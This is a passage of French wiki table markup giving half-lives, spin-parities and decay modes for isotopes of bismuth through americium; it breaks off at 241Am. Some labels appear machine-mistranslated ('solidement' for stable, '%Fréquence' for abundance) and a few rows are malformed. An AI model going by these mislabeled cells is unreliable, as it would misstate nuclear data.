%α=?, %K+%β+=? |- |188m1Bi || 44 ms || || %α=?, %K+%β+=? |- |189Bi || 680 ms || (9/2-) || %α > 50, %K+%β+ < 50 |- |189m1Bi || 5 ms || (1/2+ ) || %α > 50, %K+%β+ < 50 |- |190Bi || 6.3 s || (3+ ) || %α=80 , %K+%β+=20 |- |190m1Bi || 6.2 s || (10- ) || %α=70 , %K+%β+=30 |- |191Bi || 12 s || (9/2-) || %α=60 , %K+%β+=40 |- |191m1Bi || 150 ms || (1/2+ ) || %α > 50, %K+%β+ < 50 |- |192Bi || 37 s || (2+ , 3+ ) || %K+%β+=82 , %α=18 |- |192m1Bi || 39.6 s || (10- ) || %K+%β+=90.8 , %α=9.2 |- |193Bi || 67 s || (9/2-) || %K+%β+=96.5 , %α=3.5 |- |193m1Bi || 3.2 s || (1/2+ ) || %α=90 +10-20, %K+%β+=10 +20-10 |- |194Bi || 95 s || (3+ ) || %K+%β+=99.54 , %α=0.46 |- |194m1Bi || 115 s || (10- ) || %K+%β+=99.80 , %α=0.20 |- |194m2Bi || 125 s || (6+ , 7+ ) || %K+%β+=100 |- |195Bi || 183 s || (9/2-) || %K+%β+=99.967 , %α=0.033 |- |195m1Bi || 87 s || (1/2+ ) || %K+%β+=67 , %α=33 |- |196Bi || 308 s || (3+ ) || %K+%β+=100, %α=0.00115 |- |196m1Bi || 0.6 s || (7+ ) || %IT=100 |- |196m2Bi || 240 s || (10- ) || %K+%β+=74.2 , %IT=25.8 , %α=0.00038 |- |197Bi || 9.33 m || (9/2-) || %K+%β+=100, %α=1E-4 sys |- |197m1Bi || 5.04 m || (1/2+ ) || %K+%β+=45 , %α=55 , %IT < 0.3 |- |198Bi || 10.3 m || (2+ , 3+ ) || %K+%β+=100 |- |198m1Bi || 11.6 m || (7+ ) || %K+%β+=100 |- |198m2Bi || 7.7 s || (10- ) || %IT=100 |- |199Bi || 27 m || 9/2- || %K+%β+=100 |- |199m1Bi || 24.70 m || (1/2+ ) || %K+%β+=99 , %α ~ 0.01, %IT < 2 |- |200Bi || 36.4 m || 7+ || %K+%β+=100 |- |200m1Bi || 31 m || (2+ ) || %K+%β+ > 90, %IT < 10 |- |200m2Bi || 0.40 s || (10- ) || %IT=100 |- |201Bi || 108 m || 9/2- || %K+%β+=100, %α < 1E-4 |- |201m1Bi || 59.1 m || 1/2+ || %K > 93, %IT < 6.8, %α ~ 0.3 |- |202Bi || 1.72 h || 5+ || %K+%β+=100, %α<1E-5 |- |203Bi || 11.76 h || 9/2- || %K+%β+=100, %α ~ 1E-5 |- |203m1Bi || 303 ms || 1/2+ || %IT=100 |- |204Bi || 11.22 h || 6+ || %K+%β+=100 |- |204m1Bi || 13.0 ms || 10- || %IT=100 |- |204m2Bi || 1.07 ms || (17+ ) || %IT=100 |- |205Bi || 15.31 d || 9/2- || %K+%β+=100 |- |206Bi || 6.243 d || 6(+) || %K+%β+=100 |- |207Bi || 31.55 a || 9/2- || %K+%β+=100 |- |208Bi || 3.68e+5 a || (5) + || %K+%β+=100 |- |208m1Bi || 2.58 ms || (10) - || %IT=100 |- |209Bi || solidement || 9/2- || %Fréquence=100 |- |210Bi || 5.013 d || 1- || %β-=100, %α=1.32E-4 |- |210m1Bi || 3.04e+6 a || 9- || %α=100 |- |211Bi || 2.14 m || 9/2- || %α=99.724 , %β-=0.276 |- |212Bi || 60.55 m || 1(-) || %β-=64.06 , %α=35.94 , %β-α=0.023 |- |212m1Bi || 25.0 m || (9-) || %α=67 , %β-=33 , %β-α=30 |- |212m2Bi || 7.0 m || || %β- ~ 100 |- |213Bi || 45.59 m || 9/2- || %β-=97.91 , %α=2.09 |- |214Bi || 19.9 m || 1- || %β-=99.979 , %α=0.021 |- |215Bi || 7.6 m || || %β-=100 |- |216Bi || 3.6 m || (1-) || %β- ~ 100 |- |217Bi || 97 s || (9/2-) || %β-=100 |} ==[[Polonium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |190Po || 2.0 ms || 0+ || %α=100, %K+%β+=0.1 sys |- |191Po || 15.5 ms || || %α=? |- |192Po || 0.0332 s || 0+ || %α=100 |- |193Po || 0.42 s || (3/2- ) || %α=? |- |193m1Po || 0.24 s || (13/2+ ) || %α=? |- |194Po || 0.392 s || 0+ || %α=93 |- |195Po || 4.64 s || (3/2- ) || %α=75 , %K+%β+=25 |- |195m1Po || 1.92 s || (13/2+ ) || %α ~ 90, %K+%β+ ~ 10, %IT < 0.01 |- |196Po || 5.8 s || 0+ || %α ~ 98, %K+%β+ ~ 2 |- |197Po || 53.6 s || (3/2- ) || %K+%β+=56 , %α=44 |- |197m1Po || 25.8 s || (13/2+ ) || %α=84 , %K+%β+=16 , %IT=0.01 sys |- |198Po || 1.77 m || 0+ || %α=57 , %K+%β+=43 |- |199Po || 5.48 m || 3/2- || %K+%β+=88 , %α=12 |- |199m1Po || 4.13 m || 13/2+ || %K+%β+=59 , %α=39 , %IT=2.1 |- |200Po || 11.5 m || 0+ || %α=11.1 , %K+%β+=88.9 |- |201Po || 15.3 m || 3/2- || %K+%β+=98.4 , %α=1.6 |- |201m1Po || 8.9 m || 13/2+ || %IT=56 , %K=41 , %α ~ 2.9 |- |202Po || 44.7 m || 0+ || %K+%β+=98.08 , %α=1.92 |- |202m1Po || 85 ns || 8+ || |- |202m2Po || 200 ns || 11- || |- |202m3Po || 19 ns || 12+ || |- |202m4Po || 11 ns || (15-) || |- |203Po || 36.7 m || 5/2- || %K+%β+=99.89 , %α=0.11 |- |203m1Po || 45 s || 13/2+ || %IT ~ 100 , %α ~ 0.04 sys |- |204Po || 3.53 h || 0+ || %K+%β+=99.34 , %α=0.66 |- |205Po || 1.66 h || 5/2- || %K+%β+=99.96 , %α=0.04 |- |205m1Po || 58 ms || 19/2- || %IT=100 |- |206Po || 8.8 d || 0+ || %K+%β+=94.55 , %α=5.45 |- |207Po || 5.80 h || 5/2- || %K+%β+=99.979 , %α=0.021 |- |207m1Po || 2.8 s || 19/2- || %IT=100 |- |208Po || 2.898 a || 0+ || %α=99.9958 , %K+%β+=0.0042 |- |209Po || 102 a || 1/2- || %α=99.52 , %K+%β+=0.48 |- |210Po || 138.376 d || 0+ || %α=100 |- |211Po || 0.516 s || 9/2+ || %α=100 |- |211m1Po || 25.2 s || (25/2+ ) || %α=99.984 , %IT=0.016 |- |212Po || 0.299 μs || 0+ || %α=100 |- |212m1Po || 45.1 s || (18+) || %α=99.93 , %IT=0.07 |- |213Po || 4.2 μs || 9/2+ || %α=100 |- |214Po || 164.3 μs || 0+ || %α=100 |- |215Po || 1.781 ms || 9/2+ || %α=99.99977 , %β-=2.3E-4 |- |216Po || 0.145 s || 0+ || %α=100 |- |217Po || 10 s || || %α > 95, %β- < 5 |- |218Po || 3.10 m || 0+ || %α=99.980 , %β-=0.020 |} ==[[Astat]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |193At || 40 ms || || %α=? |- |194At || 40 ms || || %α=? |- |194m1At || 250 ms || || %α=? |- |195At || 0.63 s || || %α > 75, %K+%β+ < 25 |- |196At || 0.253 s || || %α ~ 100 |- |197At || 0.35 s || (9/2- ) || %α=96 , %K+%β+=4 |- |197m1At || 3.7 s || (1/2+ ) || %α=?, %K+%β+=? |- |198At || 4.2 s || (3+ ) || %α=90 , %K+%β+=10 |- |198m1At || 1.0 s || (10- ) || %α=84 , %K+%β+=16 |- |199At || 7.2 s || (9/2- ) || %α=90 , %K+%β+=10 |- |200At || 43 s || (3+ ) || %α=57 , %K+%β+=43 |- |200m1At || 47 s || (7+) || %α=43 , %K+%β+ < 57 |- |200m2At || 3.5 s || (10- ) || %α ~ 10.5, %IT ~ 85, %K ~ 4.5 |- |201At || 89 s || (9/2- ) || %α=71 , %K+%β+=29 |- |202At || 184 s || (2,3)+ || %K+%β+=82 , %α=18 |- |202m1At || 182 s || (7+) || %K+%β+=91.3, %α=8.7 |- |202m2At || 0.46 s || (10- ) || %IT=99.7 , %K+%β+=0.25 sys %α=0.096 |- |203At || 7.4 m || 9/2- || %K+%β+=69 , %α=31 |- |204At || 9.2 m || 7+ || %K+%β+=96.2 , %α=3.8 |- |204m1At || 108 ms || (10- ) || %IT=100 |- |205At || 26.2 m || 9/2- || %K+%β+=90 , %α=10 |- |206At || 30.0 m || (5)+ || %K+%β+=99.11 , %α=0.89 |- |207At || 1.80 h || 9/2- || %K+%β+=91.4 , %α=8.6 |- |208At || 1.63 h || 6+ || %K+%β+=99.45 , %α=0.55 |- |209At || 5.41 h || 9/2- || %K+%β+=95.9 , %α=4.1 |- |210At || 8.1 h || (5)+ || %K+%β+=99.825 , %α=0.175 |- |211At || 7.214 h || 9/2- || %α=41.80 , %K=58.20 |- |212At || 0.314 s || (1- ) || %α=100, %β- < 2E-6, %K+%β+ < 3E-2 |- |212m1At || 0.119 s || (9-) || %α > 99, %IT < 1 |- |213At || 125 ns || 9/2- || %α=100 |- |214At || 558 ns || 1- || %α=100 |- |214m1At || 265 ns || || |- |214m2At || 760 ns || 9- || |- |215At || 0.10 ms || 9/2- || %α=100 |- |216At || 0.30 ms || 1- || %α=100, %K<3E-7, %β-<6E-3 |- |216m1At || 0.1 ms || (9-) || |- |217At || 32.3 ms || 9/2- || %α=99.988 , %β-=0.012 |- |218At || 1.5 s || || %α=99.9 , %β-=0.1 |- |219At || 56 s || || %α ~ 97, %β- ~ 3 |- |220At || 3.71 m || 3 || %α=8 , %β-=92 |- |221At || 2.3 m || || %β-=100 |- |222At || 54 s || || %β-=100 |- |223At || 50 s || || %β-=100, %α=0.008 sys |} ==[[Radon]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |196Rn || 3 ms || 0+ || %α ~ 100 |- |197Rn || 65 ms || (3/2- ) || %α ~ 100 |- |197m1Rn || 19 ms || (13/2+ ) || %α ~ 100 |- |198Rn || 64 ms || 0+ || %α=100 |- |199Rn || 0.62 s || (3/2- ) || %α=94 sys, %K+%β+=6 sys |- |199m1Rn || 0.32 s || (13/2+ ) || %α=97 sys, %K+%β+=3 sys |- |200Rn || 0.96 s || 0+ || %α=86 +14-4, %K+%β+<18 |- |201Rn || 7.0 s || (3/2- ) || %α ~ 80 , %K+%β+ ~ 20 |- |201m1Rn || 3.8 s || (13/2+ ) || %α ~ 90, %K+%β+ ~ 10, %IT ~ 0 |- |202Rn || 10.0 s || 0+ || %α=86 , %K+%β+=14 |- |203Rn || 45 s || (3/2,5/2)- || %α=66 , %K+%β+=34 |- |203m1Rn || 28 s || (13/2+ ) || %α ~ 80 sys%K+%β+ ~ 20 sys |- |204Rn || 1.24 m || 0+ || %α=73 , %K+%β+=27 |- |205Rn || 2.8 m || 5/2- || %K+%β+=77 , %α=23 |- |206Rn || 5.67 m || 0+ || %α=63 , %K+%β+=37 |- |207Rn || 9.25 m || 5/2- || %K+%β+=79 , %α=21 |- |208Rn || 24.35 m || 0+ || %α=62 , %K+%β+=38 |- |209Rn || 28.5 m || 5/2- || %K+%β+=83 , %α=17 |- |210Rn || 2.4 h || 0+ || %α=96 , %K+%β+=4 |- |211Rn || 14.6 h || 1/2- || %K=72.6 , %α=27.4 |- |212Rn || 23.9 m || 0+ || %α=100 |- |213Rn || 25.0 ms || (9/2+ ) || %α=100 |- |214Rn || 0.27 μs || 0+ || %α=100 |- |214m1Rn || 0.69 ns || 6+ || |- |214m2Rn || 6.5 ns || 8+ || |- |215Rn || 2.30 μs || 9/2+ || %α=100 |- |216Rn || 45 μs || 0+ || %α=100 |- |217Rn || 0.54 ms || 9/2+ || %α=100 |- |218Rn || 35 ms || 0+ || %α=100 |- |219Rn || 3.96 s || 5/2+ || %α=100 |- |220Rn || 55.6 s || 0+ || %α=100 |- |221Rn || 25 m || 7/2(+) || %β-=78 , %α=22 |- |222Rn || 3.8235 d || 0+ || %α=100 |- |223Rn || 23.2 m || 7/2 || %β-=100, %α=0.0004 sys |- |224Rn || 107 m || 0+ || %β-=100 |- |225Rn || 4.5 m || 7/2- || %β-=100 |- |226Rn || 7.4 m || 0+ || %β-=100 |- |227Rn || 22.5 s || || %β-=100 |- |228Rn || 65 s || 0+ || %β-=100 |} ==[[Francium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |200Fr || 19 ms || (3+ ) || %α=100 |- |200m1Fr || 0.57 s || (10- ) || %α=100 |- |201Fr || 48 ms || (9/2- ) || %α=100 , %K+%β+ < 1 |- |202Fr || 0.34 s || (3+ ) || %α ~ 97 , %K+%β+ ~ 3 |- |202m1Fr || 0.34 s || (10- ) || %α ~ 97 , %K+%β+ ~ 3 |- |203Fr || 0.55 s || (9/2- ) || %α ~ 95 , %K+%β+ ~ 5 |- |204Fr || 1.7 s || (3+ ) || %α ~ 80, %K+%β+ ~ 20 |- |204m1Fr || 2.6 s || (7+) || %α=? |- |204m2Fr || 1 s || (10- ) || %α=? |- |205Fr || 3.85 s || (9/2- ) || %α > 99, %K+%β+ < 1 |- |206Fr || 15.9 s || (5+) || %α=84 , %K+%β+=16 |- |206m1Fr || 0.7 s || (10- ) || %α=0.3 , %IT=? |- |207Fr || 14.8 s || 9/2- || %α=95 , %K+%β+=5 |- |208Fr || 59.1 s || 7+ || %α=90 , %K+%β+=10 |- |209Fr || 50.0 s || 9/2- || %α=89 , %K+%β+=11 |- |210Fr || 3.18 m || 6+ || %α=60 , %K+%β+=40 |- |211Fr || 3.10 m || 9/2- || %α>80, %K<20 |- |212Fr || 20.0 m || 5+ || %K+%β+=57 , %α=43 |- |213Fr || 34.6 s || 9/2- || %α=99.45 , %K+%β+=0.55 |- |214Fr || 5.0 ms || (1- ) || %α=100 |- |214m1Fr || 3.35 ms || (8-) || %α=100 |- |215Fr || 86 ns || 9/2- || %α=100 |- |215m1Fr || 3.5 ns || (23/2)- || |- |216Fr || 0.70 μs || (1- ) || %α=100, %K<2E-7 sys |- |217Fr || 22 μs || 9/2- || %α=100 |- |218Fr || 1.0 ms || 1- || %α=100 |- |218m1Fr || 22.0 ms || || %α < 100 , %IT=? |- |219Fr || 20 ms || 9/2- || %α=100 |- |220Fr || 27.4 s || 1+ || %α=99.65 , %β-=0.35 |- |221Fr || 4.9 m || 5/2- || %α=100, %γ=8.8E-11 |- |222Fr || 14.2 m || 2- || %β-=100 |- |223Fr || 21.8 m || 3/2(-) || %β-=99.994, %α=0.006 |- |224Fr || 3.33 m || 1- || %β-=100 |- |225Fr || 4.0 m || 3/2- || %β-=100 |- |226Fr || 49 s || 1- || %β-=100 |- |227Fr || 2.47 m || 1/2+ || %β-=100 |- |228Fr || 38 s || 2- || %β-=100 |- |229Fr || 50 s || || %β-=100 |- |230Fr || 19.1 s || || %β-=100 |- |231Fr || 17.5 s || || %β-=100 |- |232Fr || 5 s || || %β-=100 |} ==[[Radium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |202Ra || 0.7 ms || 0+ || %α=100 |- |203Ra || 1.0 ms || (3/2- ) || %α ~ 100 |- |203m1Ra || 33 ms || (13/2+ ) || %α ~ 100 |- |204Ra || 59 ms || 0+ || %α ~ 100 |- |205Ra || 210 ms || (3/2- ) || %α=? |- |205m1Ra || 170 ms || (13/2+ ) || %α=? |- |206Ra || 0.24 s || 0+ || %α ~ 100 |- |207Ra || 1.3 s || (5/2,3/2)- || %α ~ 90, %K+%β+ ~ 10 |- |207m1Ra || 55 ms || (13/2+ ) || %IT=85 sys%α=15 sys %K+%β+ ~ 0.55 |- |208Ra || 1.3 s || 0+ || %α=95 sys %K+%β+=5 sys |- |209Ra || 4.6 s || 5/2- || %α ~ 90, %K+%β+ ~ 10 |- |210Ra || 3.7 s || 0+ || %α ~ 96, %K+%β+ ~ 4 |- |211Ra || 13 s || 5/2(-) || %α > 93, %K < 7 |- |212Ra || 13.0 s || 0+ || %α ~ 85, %K+%β+ ~ 15 |- |213Ra || 2.74 m || 1/2- || %α=80 , %K+%β+=20 |- |213m1Ra || 2.1 ms || || %IT ~ 99, %α ~ 1 |- |214Ra || 2.46 s || 0+ || %α=99.941 , %K=0.059 |- |215Ra || 1.59 ms || (9/2+ ) || %α=100 |- |216Ra || 182 ns || 0+ || %α=100, %K<1E-8 |- |217Ra || 1.6 μs || (9/2+ ) || %α=100 |- |218Ra || 25.6 μs || 0+ || %α=100 |- |219Ra || 10 ms || (7/2)+ || %α=100 |- |220Ra || 18 ms || 0+ || %α=100 |- |221Ra || 28 s || 5/2+ || %α=100, %γ=1.2E-10 |- |222Ra || 38.0 s || 0+ || %α=100, %14C=3.0E-8 |- |223Ra || 11.435 d || 3/2+ || %α=100, %14C=6.4E-8 |- |224Ra || 3.66 d || 0+ || %α=100, %14C=4.3E-9 |- |225Ra || 14.9 d || 1/2+ || %β-=100 |- |226Ra || 1600 a || 0+ || %α=100, %14C=3.2E-9 |- |227Ra || 42.2 m || 3/2+ || %β-=100 |- |228Ra || 5.75 a || 0+ || %β-=100 |- |229Ra || 4.0 m || 5/2(+) || %β-=100 |- |230Ra || 93 m || 0+ || %β-=100 |- |231Ra || 103 s || (7/2-,1/2+ ) || %β-=100 |- |232Ra || 250 s || 0+ || %β-=100 |- |233Ra || 30 s || || %β-=100 |- |234Ra || 30 s || 0+ || %β-=100 |} ==[[Actinium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |206Ac || 22 ms || (3+ ) || %α=? |- |206m1Ac || 33 ms || (10- ) || |- |207Ac || 22 ms || (9/2- ) || %α ~ 100 |- |208Ac || 95 ms || (3+ ) || %α=? |- |208m1Ac || 25 ms || (10- ) || %α=? |- |209Ac || 0.10 s || (9/2- ) || %α ~ 99, %K+%β+ ~ 1 |- |210Ac || 0.35 s || || %α ~ 96, %K+%β+ ~ 4 |- |211Ac || 0.25 s || || %α ~ 100 |- |212Ac || 0.93 s || || %α ~ 97, %K+%β+ ~ 3 |- |213Ac || 0.80 s || || %α < 100 |- |214Ac || 8.2 s || || %α > 89 , %K < 11 |- |215Ac || 0.17 s || 9/2- || %α=99.91 , %K+%β+=0.09 |- |216Ac || 0.33 ms || (1- ) || %α=100 |- |216m1Ac || 0.33 ms || (9-) || |- |217Ac || 69 ns || 9/2- || %α=100, %K+%β+ < 2 |- |217m1Ac || 740 ns || (29/2)+ || |- |218Ac || 1.08 μs || (1- ) || %α=100 |- |219Ac || 11.8 μs || 9/2- || %α=100, %K+%β+ ~ 1E-6 |- |220Ac || 26.4 ms || (3-) || %α=100 |- |221Ac || 52 ms || (3/2- ) || %α=100 |- |222Ac || 5.0 s || 1- || %α=99 , %K+%β+=1 |- |222m1Ac || 63 s || || %α > 88, %IT < 10 , %K+%β+ < 2 |- |223Ac || 2.10 m || (5/2- ) || %α=99, %K=1 |- |224Ac || 2.78 h || 0- || %K=90.9 +14-20, %α=9.1 +20-14, %β- < 1.6 sys |- |225Ac || 10.0 d || (3/2- ) || %α=100, %14C=6.0E-10 |- |226Ac || 29.37 h || (1) || %α=6E-3 , %β-=83 , %K=17 |- |227Ac || 21.773 a || 3/2- || %β-=98.620 , %α=1.380 |- |228Ac || 6.15 h || 3+ || %β-=100 |- |229Ac || 62.7 m || (3/2+ ) || %β-=100 |- |230Ac || 122 s || (1+ ) || %β-=100 |- |231Ac || 7.5 m || (1/2+ ) || %β-=100 |- |232Ac || 119 s || (1+ ) || %β-=100 |- |233Ac || 145 s || (1/2+ ) || %β-=100 |- |234Ac || 44 s || || %β-=100 |} ==[[Thorium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |210Th || 9 ms || 0+ || %α ~ 100 |- |211Th || 37 ms || || %α=?, %K=? |- |212Th || 30 ms || 0+ || %α=100, %K+%β+ ~ 0.3 |- |213Th || 140 ms || || %α < 100 |- |214Th || 100 ms || 0+ || %α=100 |- |215Th || 1.2 s || (1/2- ) || %α=100 |- |216Th || 0.028 s || 0+ || %α=100, %K+%β+ ~ 0.01 sys |- |216m1Th || 180 μs || (8+,11- ) || |- |217Th || 0.252 ms || (9/2+ ) || %α=100 |- |218Th || 109 ns || 0+ || %α=100 |- |219Th || 1.05 μs || || %α=100, %K+%β+ ~ 1E-7 |- |220Th || 9.7 μs || 0+ || %α=100, %K=2E-7 sys |- |221Th || 1.68 ms || (7/2+ ) || %α=100 |- |222Th || 2.8 ms || 0+ || %α=100 |- |223Th || 0.60 s || (5/2)+ || %α=100 |- |224Th || 1.05 s || 0+ || %α=100 |- |225Th || 8.72 m || (3/2)+ || %α ~ 90, %K ~ 10 |- |226Th || 30.57 m || 0+ || %α=100 |- |227Th || 18.72 d || (1/2+ ) || %α=100 |- |228Th || 1.9116 a || 0+ || %α=100, %20O=1.13E-11 |- |229Th || 7340 a || 5/2+ || %α=100 |- |230Th || 7.538e+4 a || 0+ || %α=100, %24NE=5.6E-11 , %SF < 3.8E-12 |- |231Th || 25.52 h || 5/2+ || %β-=100, %α ~ 1E-8 |- |232Th || 1.405e10 a || 0+ || %Fréquence=100, %α=100 , %SF<1.8E-9 |- |233Th || 22.3 m || 1/2+ || %β-=100 |- |234Th || 24.10 d || 0+ || %β-=100 |- |235Th || 7.1 m || (1/2+ ) || %β-=100 |- |236Th || 37.5 m || 0+ || %β-=100 |- |237Th || 5.0 m || || %β-=100 |} ==[[Protactinium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |<212Pa || 5.1 ms || (3+ ) || %α=? |- |213Pa || 5.3 ms || || %α=? |- |214Pa || 17 ms || || %α=? |- |215Pa || 14 ms || || %α=100 |- |216Pa || 0.20 s || || %K ~ 2 sys %α ~ 98 sys |- |217Pa || 4.9 ms || || %α =100 |- |217m1Pa || 1.6 ms || || %α < 100 |- |218Pa || 0.12 ms || || %α=100 |- |219Pa || 53 ns || 9/2- || %α=100, %K+%β+ ~ 5E-9 |- |220Pa || 0.78 μs || || %α=100, %K+%β+=3E-7 sys |- |221Pa || 5.9 μs || 9/2- || %α=100 |- |222Pa || 2.9 ms || || %α=100 |- |223Pa || 6.5 ms || || %α=100, %K+%β+ < 1.0E-3 |- |224Pa || 0.79 s || || %α=100 |- |225Pa || 1.7 s || || %α=100 |- |226Pa || 1.8 m || || %α=74 , %K+%β+=26 |- |227Pa || 38.3 m || (5/2- ) || %α=85 , %K=15 |- |228Pa || 22 h || 3+ || %K+%β+=98.0 , %α=2.0 |- |229Pa || 1.50 d || (5/2+ ) || %K=99.52 , %α=0.48 |- |230Pa || 17.4 d || (2- ) || %K+%β+=91.6 , %β-=8.4 , %α=0.0032 |- |231Pa || 32760 a || 3/2- || %α=100, %SF < 1.6E-11 |- |232Pa || 1.31 d || (2- ) || %β-=99.997 , %K=0.003 |- |233Pa || 26.967 d || 3/2- || %β-=100 |- |234Pa || 6.70 h || 4+ || %β-=100, %SF < 3E-10 |- |234m1Pa || 1.17 m || (0- ) || %β-=99.84 , %IT=0.16 , %SF < 1E-9 |- |235Pa || 24.5 m || (3/2- ) || %β-=100 |- |236Pa || 9.1 m || 1(-) || %β-=100 |- |237Pa || 8.7 m || (1/2+ ) || %β-=100 |- |238Pa || 2.3 m || (3-) || %β-=100, %SF < 2.6E-6 |} ==[[Uranium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |218U || 1.5 ms || 0+ || %α=100 |- |219U || 42 μs || || %α=? |- |220U || || || |- |221U || || || |- |222U || 1.0 μs || 0+ || %α=100 |- |223U || 18 μs || || %α=? |- |224U || 0.9 ms || 0+ || %α=100 |- |225U || 95 ms || || %α=100 |- |226U || 0.35 s || 0+ || %α=100 |- |227U || 1.1 m || (3/2+ ) || %α=100, %K+%β+ < 0.001 |- |228U || 9.1 m || 0+ || %K<5, %α>95 |- |229U || 58 m || (3/2+ ) || %K+%β+ ~ 80, %α ~ 20 |- |230U || 20.8 d || 0+ || %α=100, %SF < 1.4E-10 |- |231U || 4.2 d || (5/2- ) || %K=100, %α ~ 0.0055 |- |232U || 68.9 a || 0+ || %α=100, %24NE=9E-11 |- |233U || 1.592e+5 a || 5/2+ || %α=100, %SF < 6E-11, %24NE < 9.5E-11 |- |234U || 2.455e+5 a || 0+ || %Fréquence=0.0055, %α=100, %SF=1.64E-9 , %nE=9E-12 , %MG=1.4E-11 |- |235U || 7.038e+8 a || 7/2- || %Fréquence=0.7200, %α=100, %SF=7.0E-9 , %20NE=8E-10 |- |235m1U || 25 m || 1/2+ || %IT=100 |- |236U || 2.342e7 a || 0+ || %α=100, %SF=9.4E-8 |- |237U || 6.75 d || 1/2+ || %β-=100 |- |238U || 4.468e+9 a || 0+ || %Fréquence=99.2745, %α=100, %SF=5.45E-5 , %ββ=2.2E-10 |- |238m1U || 225 ns || 0+ || |- |238m2U || 1 ns || || |- |239U || 23.45 m || 5/2+ || %β-=100 |- |240U || 14.1 h || 0+ || %β-=100 |- |241U || || || |- |242U || 16.8 m || 0+ || %β-=100 |} ==[[Neptunium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |225Np || 6 ms || || %α=? |- |226Np || 35 ms || || %α=100 |- |227Np || 0.51 s || || %α=100, %K+%β+ ~ 0.05 |- |228Np || 61.4 s || || %K=60 , %α=40 , %KSF=0.020 |- |229Np || 4.0 m || || %α > 50, %K < 50 |- |230Np || 4.6 m || || %K+%β+ < 97, %α > 3 |- |231Np || 48.8 m || (5/2) || %K=98 , %α=2 |- |232Np || 14.7 m || (4+ ) || %K+%β+=100 |- |233Np || 36.2 m || (5/2+ ) || %K=100, %α < 0.001 |- |234Np || 4.4 d || (0+ ) || %K+%β+=100 |- |235Np || 396.1 d || 5/2+ || %K=99.99740 , %α=0.00260 |- |236Np || 1.54e5 a || (6-) || %K=87.3 , %β-=12.5 , %α=0.16 |- |236m1Np || 22.5 h || 1 || %K=52 , %β-=48 |- |237Np || 2.144e+6 a || 5/2+ || %α=100, %SF < 2E-10 |- |237m1Np || 45 ns || || |- |238Np || 2.117 d || 2+ || %β-=100 |- |238m1Np || 112 ns || || |- |239Np || 2.3565 d || 5/2+ || %β-=100 |- |240Np || 61.9 m || (5+) || %β-=100 |- |240m1Np || 7.22 m || 1(+) || %β-=99.89 , %IT=0.11 |- |241Np || 13.9 m || (5/2+ ) || %β-=100 |- |242Np || 5.5 m || (6) || %β-=100 |- |242m1Np || 2.2 m || (1+ ) || %β-=100 |- |243Np || 1.8 m || (5/2- ) || %β-=100 |- |244Np || 2.29 m || (7-) || %β-=100 |} ==[[Plutonium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |228Pu || 4 ms || 0+ || %α=100 |- |229Pu || || || %α=? |- |230Pu || || 0+ || %α=? |- |231Pu || || || |- |232Pu || 34.1 m || 0+ || %K=77 , %α=23 |- |233Pu || 20.9 m || || %K+%β+=99.88 , %α=0.12 |- |234Pu || 8.8 h || 0+ || %K ~ 94, %α ~ 6 |- |234m1Pu || 3 ns || || |- |235Pu || 25.3 m || (5/2+ ) || %K+%β+=99.9973 , %α=0.0027 |- |235m1Pu || 25 ns || || |- |236Pu || 2.858 a || 0+ || %α=100, %SF=1.37E-7 |- |236m1Pu || 37 ps (0+ ) || || |- |236m2Pu || 34 ns || || |- |237Pu || 45.2 d || 7/2- || %α=0.0042 , %K=99.9958 |- |237m1Pu || 0.18 s || 1/2+ || %IT=100 |- |237m2Pu || 85 ns || || |- |237m3Pu || 1.1 μs || || |- |238Pu || 87.7 a || 0+ || %α=100, %SF=1.85E-7 , %MG ~ 6E-15, %SI ~ 1.4E-14 |- |238m1Pu || 0.6 ns || || |- |238m2Pu || 6.0 ns || (0+ ) || |- |239Pu || 24110 a || 1/2+ || %α=100, %SF=3.0E-10 |- |239m1Pu || 7.5 μs || (5/2+ ) || |- |239m2Pu || 2.6 ns || (9/2- ) || |- |240Pu || 6563 a || 0+ || %α=100 , %SF=5.75E-6 |- |241Pu || 14.35 a || 5/2+ || %β-=99.998, %α=0.00245 , %SF ~ 2.4E-14 |- |241m1Pu || 21 μs || || |- |241m2Pu || 32 ns || || |- |242Pu || 3.733e+5 a || 0+ || %α=100 , %SF=5.54E-4 |- |243Pu || 4.956 h || 7/2+ || %β-=100 |- |243m1Pu || 45 ns || || |- |244Pu || 8.08e+7 a || 0+ || %α=99.879 , %SF=0.121 , %ββ < 3E-11 |- |245Pu || 10.5 h || (9/2- ) || %β-=100 |- |245m1Pu || 90 ns || || |- |246Pu || 10.84 d || 0+ || %β-=100 |- |247Pu || 2.27 d || %β-=100 |} ==[[Americium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |232Am || 79 s || || %K ~ 98, %α ~ 2, %KSF=0.069 |- |233Am || || || |- |234Am || 2.32 m || || %K=99.961 , %α=0.039 , %KSF=0.0066 |- |235Am || 15 m || || %K+%β+=?, %α=? |- |236Am || || || %K=?, %α=? |- |237Am || 73.0 m || 5/2(-) || %α=0.025 , %K=99.975 |- |237m1Am || 5 ns || || |- |238Am || 98 m || 1+ || %K+%β+>99.99, %α=1.0E-4 |- |238m1Am || 35 μs || || |- |239Am || 11.9 h || (5/2)- || %K=99.990 , %α=0.010 |- |239m1Am || 163 ns || (7/2+ ) || |- |240Am || 50.8 h || (3-) || %K=100, %α=1.9E-4 |- |241Am || 